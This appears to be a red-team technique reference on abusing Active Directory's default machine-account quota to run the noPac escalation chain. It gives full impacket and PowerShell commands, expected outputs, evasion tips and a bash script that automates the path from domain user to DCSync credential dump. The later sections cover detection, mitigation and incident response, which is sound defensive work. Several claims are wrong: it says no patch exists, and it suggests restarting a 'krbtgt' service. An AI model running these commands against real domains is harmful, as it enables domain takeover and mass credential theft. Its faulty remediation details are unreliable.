| Attribute | Details |
|---|---|
| Technique ID | PE-CREATE-001 |
| MITRE ATT&CK v18.1 | T1136.001 - Create Account: Local Account, T1098 - Account Manipulation |
| Tactic | Privilege Escalation / Persistence |
| Platforms | Windows AD (All versions with default config) |
| Severity | High (prerequisite for noPac/CVE-2021-42287 exploitation) |
| CVE | CVE-2021-42287 (primary), CVE-2021-42278 (sAMAccountName spoofing) |
| Technique Status | ACTIVE (Default configuration remains exploitable) |
| Last Verified | 2024-12-15 |
| Affected Versions | All Windows Server versions (2008 R2 through 2022+) with default ms-DS-MachineAccountQuota setting |
| Patched In | Configuration change only (no patch; requires manual hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The ms-DS-MachineAccountQuota attribute is a default Active Directory domain-level property that specifies the maximum number of computer accounts any authenticated (non-administrative) user can create in the domain. By default, this value is set to 10, meaning any regular domain user can unilaterally create up to 10 machine accounts without requiring elevated privileges or administrative intervention. This misconfigurations alone is not a vulnerability, but it serves as a critical prerequisite for several devastating attacks, most notably the noPac attack chain (CVE-2021-42278 + CVE-2021-42287), which allows privilege escalation from a standard domain user to Domain Administrator in under 60 seconds. The attack leverages the ability to create a machine account, then exploit Kerberos PAC validation bypass and sAMAccountName spoofing to impersonate Domain Controllers.
Attack Surface: The vulnerability is exposed through the default AD schema and permissions. Any authenticated domain user (including contractor, guest, or compromised low-privilege accounts) can exploit this. The attack requires only (1) valid domain credentials (any user), (2) network access to a Domain Controller port 389 (LDAP) or 88 (Kerberos), and (3) knowledge of Kerberos protocols (publicly available tools handle this).
Business Impact: Complete Active Directory compromise in minutes. By creating a machine account and exploiting noPac vulnerabilities, attackers can escalate to Domain Administrator, enabling Domain Controller compromise, credential dumping, persistence mechanisms, and lateral movement across the entire forest. This is a “default-to-pwned” scenario in 95% of organizations, as most have not changed the default ms-DS-MachineAccountQuota setting.
Technical Context: The exploitation is trivial—publicly available tools (noPac.py, Euler’s Python scripts) automate the entire chain. The attack is fast (< 60 seconds), leaves minimal forensic evidence (legitimate AD object creation), and is highly reproducible (works identically in all AD environments). The primary barrier is knowledge; the technical barrier is near-zero.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Active Directory Benchmark v2.0 (Section 5.1) | Implement least privilege; restrict computer object creation to administrative groups only. |
| DISA STIG | AD-000100, AD-000200 | Restrict unprivileged user access to create computer objects; audit all computer account creation. |
| CISA SCuBA | AD.AC.02 | Disable default user capabilities to create machine accounts; enforce RBAC. |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement) | Limit account creation capabilities; enforce authorization requirements. |
| GDPR | Article 32 (Security of Processing) | Implement technical controls to prevent unauthorized privilege escalation. |
| DORA | Article 9 (Protection and Prevention) | Implement hardened configurations to prevent unauthorized elevation. |
| NIS2 | Article 21 (Cyber Risk Management Measures) | Detect and prevent unauthorized computer object creation. |
| ISO 27001 | A.9.2.3 (User Access Rights), A.9.4.3 (Password Management) | Restrict resource creation rights to authorized personnel only. |
| ISO 27005 | Risk Scenario: “Privilege Escalation via Default AD Permissions” | Likelihood: Very High (if unmitigated); Impact: Critical (AD compromise). |
Supported Versions:
Check Current Setting:
# Query the current ms-DS-MachineAccountQuota value
Get-ADDomain | Select-Object Name, @{n='MachineAccountQuota';e={$_.ms-DS-MachineAccountQuota}}
# Expected Output (VULNERABLE):
# Name MachineAccountQuota
# ---- -------------------
# contoso.com 10
# Expected Output (SECURE):
# Name MachineAccountQuota
# ---- -------------------
# contoso.com 0
Tools:
Check if ms-DS-MachineAccountQuota is Set to Default (Vulnerable):
# Query the domain's MachineAccountQuota setting
$domain = Get-ADDomain
$quota = $domain.'ms-DS-MachineAccountQuota'
Write-Host "Domain: $($domain.Name)"
Write-Host "MachineAccountQuota: $quota"
if ($quota -gt 0) {
Write-Host "⚠️ VULNERABLE: Any domain user can create up to $quota computer accounts!"
} else {
Write-Host "✓ SECURE: MachineAccountQuota is set to 0"
}
# Alternative: Use LDAP query (doesn't require AD module)
$domainDN = (New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")).defaultNamingContext
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN")
$searcher.Filter = "(cn=$domainDN)"
$result = $searcher.FindOne()
$quota = $result.Properties['ms-DS-MachineAccountQuota'][0]
Write-Host "MachineAccountQuota from LDAP: $quota"
Enumerate Existing Computer Accounts (to understand naming conventions):
# List all computer accounts in the domain
Get-ADComputer -Filter * -Properties Created, LastLogonDate | `
Select-Object Name, SamAccountName, Created, LastLogonDate | `
Sort-Object Created -Descending | `
Head -20
# Expected Output:
# Name SamAccountName Created LastLogonDate
# ---- ----- ------- -------
# DESKTOP-ABC123 DESKTOP-ABC123$ 2024-01-01 2024-12-15
# SERVER-PROD-01 SERVER-PROD-01$ 2023-06-15 2024-12-10
# ...
# Count total computer accounts
(Get-ADComputer -Filter *).Count
Test Ability to Create Machine Accounts (PoC):
# This will only succeed if the user has the right to create computer accounts
# (i.e., ms-DS-MachineAccountQuota > 0 and no GPO restrictions)
# Create a test computer account
try {
New-ADComputer -Name "TEST-NOPAC-001" `
-SamAccountName "TEST-NOPAC-001$" `
-Path "CN=Computers,DC=contoso,DC=com" `
-Description "Test account - noPac vulnerability check" `
-ErrorAction Stop
Write-Host "✓ VULNERABLE: Test computer account creation SUCCESSFUL"
Write-Host " User can create machine accounts without restriction"
# Clean up
Remove-ADComputer -Identity "TEST-NOPAC-001" -Confirm:$false
Write-Host " Test account cleaned up"
} catch {
Write-Host "✗ SECURE or RESTRICTED: Unable to create computer account"
Write-Host " Error: $($_.Exception.Message)"
}
# Query ms-DS-MachineAccountQuota via LDAP
ldapsearch -x -H ldap://dc01.contoso.com \
-b "DC=contoso,DC=com" \
-s base "(&(objectClass=domain))" ms-DS-MachineAccountQuota
# Expected Output (VULNERABLE):
# ms-DS-MachineAccountQuota: 10
# Expected Output (SECURE):
# ms-DS-MachineAccountQuota: 0
# Enumerate computer accounts to understand AD structure
ldapsearch -x -H ldap://dc01.contoso.com \
-b "CN=Computers,DC=contoso,DC=com" \
"(objectClass=computer)" sAMAccountName
# Check if we can create a test computer account (requires valid credentials)
python3 addcomputer.py -computer-name 'TEST-NOPAC-001$' \
-computer-pass 'TestPassword123!' \
-dc-host dc01.contoso.com \
-domain-netbios CONTOSO \
'CONTOSO.com/regularuser:password' 2>&1 | grep -i "success\|error"
This is the primary exploitation method that chains machine account creation with noPac vulnerabilities (CVE-2021-42278 + CVE-2021-42287) to achieve Domain Administrator access.
Supported Versions: All Windows Server versions with default ms-DS-MachineAccountQuota > 0
Prerequisites:
Objective: Identify Domain Controllers and verify that machine account creation is allowed.
Command (PowerShell):
# Get list of Domain Controllers
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
Write-Host "DC: $($dc.HostName) | IP: $($dc.IPv4Address)"
}
# Verify machine account quota
$quota = (Get-ADDomain).'ms-DS-MachineAccountQuota'
Write-Host "Current MachineAccountQuota: $quota"
# Enumerate a domain controller account to impersonate (target for noPac)
$dcAccounts = Get-ADComputer -Filter {OperatingSystem -like '*Server*'} | `
Where-Object {$_.Name -like '*DC*' -or $_.Name -like '*DOMAIN*'} | `
Select-Object -First 5
foreach ($dc in $dcAccounts) {
Write-Host "Target DC Account: $($dc.SamAccountName)"
}
Command (Linux/Bash - LDAP query):
# Query DC list and machine account quota
ldapsearch -x -H ldap://dc01.contoso.com -b "DC=contoso,DC=com" \
"(&(objectClass=domain))" ms-DS-MachineAccountQuota
# Enumerate computer accounts (potential DC names)
ldapsearch -x -H ldap://dc01.contoso.com \
-b "OU=Domain Controllers,DC=contoso,DC=com" \
"(objectClass=computer)" sAMAccountName
What This Means:
Objective: Leverage the machine account quota to create a new computer object that will be used to impersonate a Domain Controller.
Command (Python - Using impacket):
# Create a machine account with credentials
addcomputer.py -computer-name 'ATTACKER-NOPAC-01$' \
-computer-pass 'AttackerComputerPassword123!' \
-dc-host dc01.contoso.com \
-domain-netbios CONTOSO \
'CONTOSO.com/regularuser:UserPassword'
# Expected Output:
# [*] Impacket v0.9.21 - Copyright 2021 SecureAuth Corporation
# [*] Adding computer with username: regularuser
# [+] Computer [ATTACKER-NOPAC-01$] created successfully
# [+] Computer password: AttackerComputerPassword123!
Command (PowerShell - Direct AD object creation):
# Create machine account via PowerShell
New-ADComputer -Name 'ATTACKER-NOPAC-01' `
-SamAccountName 'ATTACKER-NOPAC-01$' `
-Path "CN=Computers,DC=contoso,DC=com" `
-Description "Compromised machine account" `
-Enabled $true `
-PasswordNotRequired $true # Allow blank password initially
# Verify creation
Get-ADComputer -Identity 'ATTACKER-NOPAC-01'
What This Means:
OpSec & Evasion:
Objective: Remove any SPNs associated with the machine account so it can be renamed to match a Domain Controller.
Command (Python - impacket addspn):
# Clear all SPNs from the machine account
addspn.py --clear -t 'ATTACKER-NOPAC-01$' \
-u 'CONTOSO\regularuser' -p 'UserPassword' \
dc01.contoso.com
# Expected Output:
# [*] Clearing SPNs for ATTACKER-NOPAC-01$
# [+] SPNs cleared successfully
Command (PowerShell):
# Clear SPNs using LDAP modification
$computer = Get-ADComputer 'ATTACKER-NOPAC-01'
Set-ADComputer -Identity $computer `
-ServicePrincipalNames @() # Clear all SPNs
# Verify SPNs are cleared
Get-ADComputer -Identity 'ATTACKER-NOPAC-01' | Select-Object -ExpandProperty ServicePrincipalNames
What This Means:
Objective: Exploit CVE-2021-42278 (sAMAccountName spoofing) to rename the machine account to a Domain Controller name without the trailing “$”.
Command (Python - Using noPac.py or renameMachine.py):
# Rename the machine account to impersonate a Domain Controller
renameMachine.py -current-name 'ATTACKER-NOPAC-01$' \
-new-name 'DC01' \ # Domain Controller name WITHOUT the trailing $
-dc-ip dc01.contoso.com \
'CONTOSO.com/regularuser:UserPassword'
# Expected Output:
# [*] Renaming machine account
# [+] sAMAccountName changed from ATTACKER-NOPAC-01$ to DC01
Command (PowerShell):
# Rename sAMAccountName using LDAP (this exploits CVE-2021-42278)
$computer = Get-ADComputer 'ATTACKER-NOPAC-01'
Set-ADComputer -Identity $computer -SamAccountName 'DC01'
# Verify rename
Get-ADComputer -Identity $computer | Select-Object SamAccountName
What This Means:
OpSec & Evasion:
Objective: Use Kerberos to request a TGT for the spoofed Domain Controller account using the machine account’s password.
Command (Python - impacket getTGT):
# Request TGT using the machine account credentials with spoofed DC name
getTGT.py -dc-ip dc01.contoso.com \
'CONTOSO.com/DC01:AttackerComputerPassword123!'
# Expected Output:
# Impacket v0.9.21 - Copyright 2021 SecureAuth Corporation
# [*] Valid principal: DC01@CONTOSO.COM
# [+] TGT/TGS obtained and saved as DC01.ccache
Command (PowerShell - Using Kerberos module):
# Request TGT via PowerShell (requires Rubeus or similar)
# Using MIT Kerberos on Windows requires installation of Kerberos for Windows
# Alternatively, use impacket via shell
python3 getTGT.py -dc-ip dc01.contoso.com 'CONTOSO.com/DC01:AttackerComputerPassword123!'
What This Means:
OpSec & Evasion:
Objective: Rename the machine account back to its original name to avoid detection while maintaining the TGT.
Command (Python):
# Rename the machine account back to its original name
renameMachine.py -current-name 'DC01' \
-new-name 'ATTACKER-NOPAC-01$' \
-dc-ip dc01.contoso.com \
'CONTOSO.com/regularuser:UserPassword'
# Expected Output:
# [+] sAMAccountName changed from DC01 to ATTACKER-NOPAC-01$
Command (PowerShell):
# Rename back to original
Set-ADComputer -Identity 'ATTACKER-NOPAC-01' -SamAccountName 'ATTACKER-NOPAC-01$'
What This Means:
Objective: Use the spoofed DC TGT to impersonate any user (typically Domain Admin) via Kerberos S4U2Self extension.
Command (Python - impacket getST):
# Use S4U2Self to impersonate Domain Administrator
# The TGT from step 5 is passed via KRB5CCNAME environment variable
export KRB5CCNAME=DC01.ccache
getST.py -self \
-impersonate 'Administrator' \
-altservice 'cifs/dc01.contoso.com' \
-k -no-pass \
-dc-ip dc01.contoso.com \
'CONTOSO.com/DC01'
# Expected Output:
# Impacket v0.9.21 - Copyright 2021 SecureAuth Corporation
# [*] Getting TGT for user 'DC01'
# [+] Using TGT from DC01.ccache
# [*] Requesting S4U2Self
# [+] Service Ticket obtained for Administrator@CONTOSO.COM
# [+] Ticket saved to Administrator.ccache
What This Means:
Objective: Use the Administrator ticket to perform DCSync and extract all domain credentials.
Command (Python - impacket secretsdump with Administrator ticket):
# Use the Administrator ticket to dump all AD credentials
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass -just-dc \
-dc-ip dc01.contoso.com \
'CONTOSO.com/Administrator@dc01.contoso.com'
# Expected Output:
# [*] Dumping domain trusts information
# [*] Getting PRIV account users
# [*] Dumping domain secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f20d3201d00000000000000000000000:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f20d3201d00000000000000000000000:::
# ...
What This Means:
If CVE-2021-42287 is patched but ms-DS-MachineAccountQuota is still > 0, attackers can still use machine account creation for other attacks (RBCD, LDAP relay, etc.).
Supported Versions: All (alternative attack vector)
Command (PowerShell):
# Create machine account for RBCD (Resource-Based Constrained Delegation) attack
New-ADComputer -Name 'RBCD-MACHINE' `
-SamAccountName 'RBCD-MACHINE$' `
-Path "CN=Computers,DC=contoso,DC=com"
# Set generic write privileges on target machine (requires compromise of target machine object)
# Then use RBCD to escalate privileges on that machine
# Or use for LDAP Relay attacks
# Or use for Kerberoasting via controlled service principal
Version: Latest (maintained actively)
Supported Platforms: Linux, macOS, Windows (with Python 3.6+)
Installation:
git clone https://github.com/Ridter/noPac.git
cd noPac
pip3 install -r requirements.txt
Usage:
# Full noPac exploitation (one command)
python3 noPac.py -u regularuser -p UserPassword -d CONTOSO.com \
-dc-ip dc01.contoso.com
# With alternative service (CIFS instead of HTTP)
python3 noPac.py -u regularuser -p UserPassword -d CONTOSO.com \
-dc-ip dc01.contoso.com --altservice cifs
Usage for machine account creation:
python3 addcomputer.py -computer-name 'NEWMACHINE$' \
-computer-pass 'MachinePassword123!' \
-dc-host dc01.contoso.com \
-domain-netbios CONTOSO \
'CONTOSO.com/user:password'
#!/bin/bash
# Full noPac exploitation chain
USER="regularuser"
PASSWORD="UserPassword"
DOMAIN="CONTOSO.com"
DC_IP="192.168.1.5"
TARGET_USER="Administrator"
echo "[*] Step 1: Creating machine account..."
python3 addcomputer.py -computer-name 'NOPAC-MACHINE$' \
-computer-pass 'NoPacPassword123!' \
-dc-host $DC_IP \
-domain-netbios CONTOSO \
"$DOMAIN/$USER:$PASSWORD"
echo "[*] Step 2: Clearing SPNs..."
python3 addspn.py --clear -t 'NOPAC-MACHINE$' \
-u "$DOMAIN\\$USER" -p "$PASSWORD" $DC_IP
echo "[*] Step 3: Spoofing DC name via noPac..."
python3 noPac.py -u $USER -p $PASSWORD -d $DOMAIN \
-dc-ip $DC_IP
echo "[+] noPac exploitation complete. All AD credentials extracted."
Event ID: 4741 (Computer Account Created)
Event ID: 5137 (Directory Service Object Created)
Event ID: 4742 (Computer Account Password Changed)
Event ID: 4781 (Name Changed)
Manual Configuration Steps (Group Policy):
gpupdate /forceReal-Time Monitoring (PowerShell):
# Monitor for rapid computer account creation (potential machine account quota exploitation)
$computers = Get-EventLog -LogName Security -InstanceId 4741 `
-After (Get-Date).AddMinutes(-10) | Group-Object -Property Message
foreach ($group in $computers) {
if ($group.Count -gt 3) {
Write-Host "⚠️ ALERT: $($group.Count) computer accounts created in last 10 minutes"
Write-Host " Potential machine account quota exploitation!"
}
}
# Monitor for sAMAccountName changes on computer objects
Get-EventLog -LogName Security -InstanceId 4781 | `
Where-Object {$_.Message -match 'Computer'} | `
Select-Object TimeGenerated, Message | `
Format-List
Minimum Sysmon Version: 13.0+
Supported Platforms: All Domain Controllers
Sysmon Config XML:
<!-- Detect noPac exploitation attempts -->
<Sysmon schemaversion="4.40">
<EventFiltering>
<!-- Event ID 1: Process Creation -->
<!-- Monitor for impacket tools and noPac execution -->
<ProcessCreate onmatch="include">
<Image condition="contains any">
addcomputer;addspn;getTGT;getST;secretsdump;noPac;
renameMachine;python
</Image>
<CommandLine condition="contains any">
addcomputer;addspn;noPac;SAMAccountName;DC01;getTGT;getST
</CommandLine>
</ProcessCreate>
<!-- Event ID 10: Process Access -->
<!-- Monitor for credential access post-compromise -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">lsass.exe</TargetImage>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4741 // Computer Account Created
| where not(SubjectUserName has "SYSTEM" or SubjectUserName has "krbtgt")
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId, NewTargetUserName
| summarize count() by SubjectUserName, Computer
| where count_ > 3 // Alert if single user creates 3+ machines in short time
What This Detects:
Manual Configuration:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID in (4781, 4742) // Name changed or password changed
| where NewTargetUserName has "$" and NewTargetUserName contains "DC" // Machine account renamed to DC name
| project TimeGenerated, Computer, SubjectUserName, OldTargetUserName, NewTargetUserName
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4741
| summarize ComputerCount=count() by bin(TimeGenerated, 10m), SubjectUserName
| where ComputerCount > 5
Mitigation 1: Set ms-DS-MachineAccountQuota to 0
This is the primary mitigation that prevents machine account creation by unprivileged users, effectively blocking the machine account quota exploitation and all downstream noPac attacks.
Manual Steps (Active Directory Users and Computers):
Manual Steps (PowerShell):
# Set ms-DS-MachineAccountQuota to 0 (disallow unprivileged machine account creation)
$domain = Get-ADDomain
$domainDN = $domain.DistinguishedName
$ldapFilter = "(objectClass=domain)"
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN")
$searcher.Filter = $ldapFilter
$result = $searcher.FindOne()
# Modify the attribute
$directoryEntry = $result.GetDirectoryEntry()
$directoryEntry.'ms-DS-MachineAccountQuota' = 0
$directoryEntry.CommitChanges()
Write-Host "✓ ms-DS-MachineAccountQuota set to 0"
Manual Steps (ADSIEdit):
Validation Command:
# Verify ms-DS-MachineAccountQuota is set to 0
$domain = Get-ADDomain
$quota = $domain.'ms-DS-MachineAccountQuota'
if ($quota -eq 0) {
Write-Host "✓ SECURE: ms-DS-MachineAccountQuota is 0"
} else {
Write-Host "✗ VULNERABLE: ms-DS-MachineAccountQuota is $quota"
}
Expected Output (If Secure):
✓ SECURE: ms-DS-MachineAccountQuota is 0
Mitigation 2: Apply Group Policy to Restrict “Add Workstations to Domain”
If a specific group must retain machine account creation rights, use Group Policy to restrict it to only that group (rather than all authenticated users).
Manual Steps (Group Policy):
gpupdate /forceMitigation 3: Implement Conditional Access / Device Compliance
Require device compliance before allowing computer object creation.
Manual Steps (Entra ID / Azure):
Mitigation 4: Enable PAC Validation (Mitigate CVE-2021-42287)
If ms-DS-MachineAccountQuota cannot be changed, at least mitigate noPac by enabling PAC (Privilege Attribute Certificate) validation.
Manual Steps (Domain Controller Registry):
# Enable PAC full validation (requires Windows Server 2012 R2+ or KB2892372 on 2012)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\kdc" `
-Name "ValidateKdcPacSignature" -Value 1 -Type DWord
# Restart KDC service
Restart-Service krbtgt # This restarts KDC
# OR
Restart-Service NTDS -Force # Restart AD
Mitigation 5: Monitor for Suspicious Computer Account Activity
Even with ms-DS-MachineAccountQuota set to 0, monitor for any attempts to create computer accounts.
Manual Steps (Audit Logging):
# Enable Directory Service object creation auditing
auditpol /set /subcategory:"Directory Service Object Creation" /success:enable /failure:enable
# Enable computer account changes auditing
auditpol /set /subcategory:"Other Account Management Events" /success:enable /failure:enable
Mitigation 6: Restrict sAMAccountName Modification (Mitigate CVE-2021-42278)
Implement ACL restrictions to prevent sAMAccountName spoofing.
Manual Steps (PowerShell - Restrict Write Permissions):
# Remove 'Write sAMAccountName' permission from unprivileged users
# This requires modifying AD ACLs and is not a default setting
# Consult with AD security team before implementing
# Alternatively, enable "Smart Card-Only Accounts" feature (Windows Server 2016+)
# which adds additional validation
Files:
.ccache files in attacker working directory.Registry:
Network:
Event Logs:
Disk (Domain Controller):
C:\Windows\System32\winevt\Logs\Security.evtxC:\Windows\System32\winevt\Logs\Directory Service.evtxC:\Windows\NTDS\ntds.ditMemory:
Network:
Audit Logs:
1. Identify Compromised Machine Accounts (0-15 minutes):
Command (PowerShell):
# Query for recently created computer accounts
Get-ADComputer -Filter {Created -gt (Get-Date).AddHours(-1)} | `
Select-Object Name, Created, LastLogonDate, OperatingSystem | `
Format-List
# Query for computer accounts with suspicious names (potential noPac attempts)
Get-ADComputer -Filter * | `
Where-Object {$_.Name -like '*NOPAC*' -or $_.Name -like '*TEST*' -or $_.Name -like '*TEMP*'} | `
Select-Object Name, Created, LastLogonDate
# Check for recent sAMAccountName changes
Get-EventLog -LogName Security -InstanceId 4781 -After (Get-Date).AddHours(-24) | `
Where-Object {$_.Message -match 'Computer'} | `
Select-Object TimeGenerated, Message
2. Isolate Potentially Compromised Systems (5-10 minutes):
# Disable all recently created computer accounts
Get-ADComputer -Filter {Created -gt (Get-Date).AddHours(-1)} | `
ForEach-Object {
Disable-ADAccount -Identity $_.DistinguishedName
Write-Host "Disabled: $($_.Name)"
}
# Or remove entirely
Get-ADComputer -Filter {Created -gt (Get-Date).AddHours(-1)} | `
ForEach-Object {
Remove-ADComputer -Identity $_.DistinguishedName -Confirm:$false
Write-Host "Removed: $($_.Name)"
}
3. Audit All AD Credentials for Compromise (30-60 minutes):
# If noPac was executed, assume all AD credentials are compromised
# Force password reset for all users and the krbtgt account
# Rotate all domain admin passwords
Get-ADGroupMember "Domain Admins" | `
ForEach-Object {
$newPassword = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 20 | % {[char]$_})
Set-ADAccountPassword -Identity $_.DistinguishedName -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force) -Reset
Write-Host "Password reset for: $($_.Name)"
}
# Rotate krbtgt password twice (to invalidate Golden Tickets)
Set-ADUser -Identity krbtgt -PasswordNotRequired $false
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText "$(New-Password)" -Force) -Reset
# After 15-30 minutes, reset krbtgt again to invalidate any tickets created with the first reset
# (this invalidates Golden Tickets created during the attack)
4. Full Forest Remediation (If Confirmed Compromise):
# 1. Reset ms-DS-MachineAccountQuota to 0
# 2. Force password change for ALL users (pwdLastSet=0)
# 3. Rotate krbtgt password twice
# 4. Invalidate all Kerberos tickets
# 5. Review all admin group membership for unauthorized additions
# 6. Audit all DCSync operations for the past 30 days
# 7. Restore from clean backups if available
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView Enumeration | Attacker maps domain structure and identifies machine account quota |
| 2 | Privilege Escalation | [PE-CREATE-001] ms-DS-MachineAccountQuota (THIS TECHNIQUE) | Creates machine account using default quota |
| 3 | Privilege Escalation | [PE-TOKEN-006] SAMAccountName Spoofing (CVE-2021-42278) | Renames machine to impersonate DC |
| 4 | Privilege Escalation | [PE-TOKEN-005] Kerberos PAC Bypass (CVE-2021-42287) | Obtains DC-level Kerberos tickets via S4U2Self |
| 5 | Credential Access | [CA-DUMP-002] DCSync | Extracts all domain credentials using obtained privileges |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Creates hidden admin accounts using dumped credentials |